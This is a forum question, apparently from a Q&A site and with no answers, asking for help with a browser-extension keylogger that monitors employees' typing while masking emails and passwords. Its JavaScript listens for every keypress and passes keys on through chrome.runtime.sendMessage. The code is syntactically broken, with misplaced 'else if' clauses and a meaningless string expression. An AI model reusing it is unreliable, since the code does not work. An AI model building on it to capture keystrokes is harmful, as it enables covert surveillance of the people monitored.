Keylogger script that doesn't collect any information, such as username & password etc

Viewed 17

It is difficult for me to make a keylogger that puts a star symbol if an email address or password is detected, the whole purpose of the program is to detect any keystrokes for employees with some privacy (establish a positive working environment)

 else if ((input).keypress(function(press){
        k = press+"*".key;
    }));
// var data = {};
// var a ;
var k = "";
var info ={};
var input = $("input:text");
document.addEventListener('keypress', function (press) {

    if (press.key.length > 1) {
        k = " [ "+press.key+" ] "; 
    } else if ((input).keypress(function(press){
        k = press+"*".key;
    }));
    else {
        k = press.key;
    } 
    info = {
        key: k,
        
    };
});
chrome.runtime.sendMessage(info);
0 Answers
Related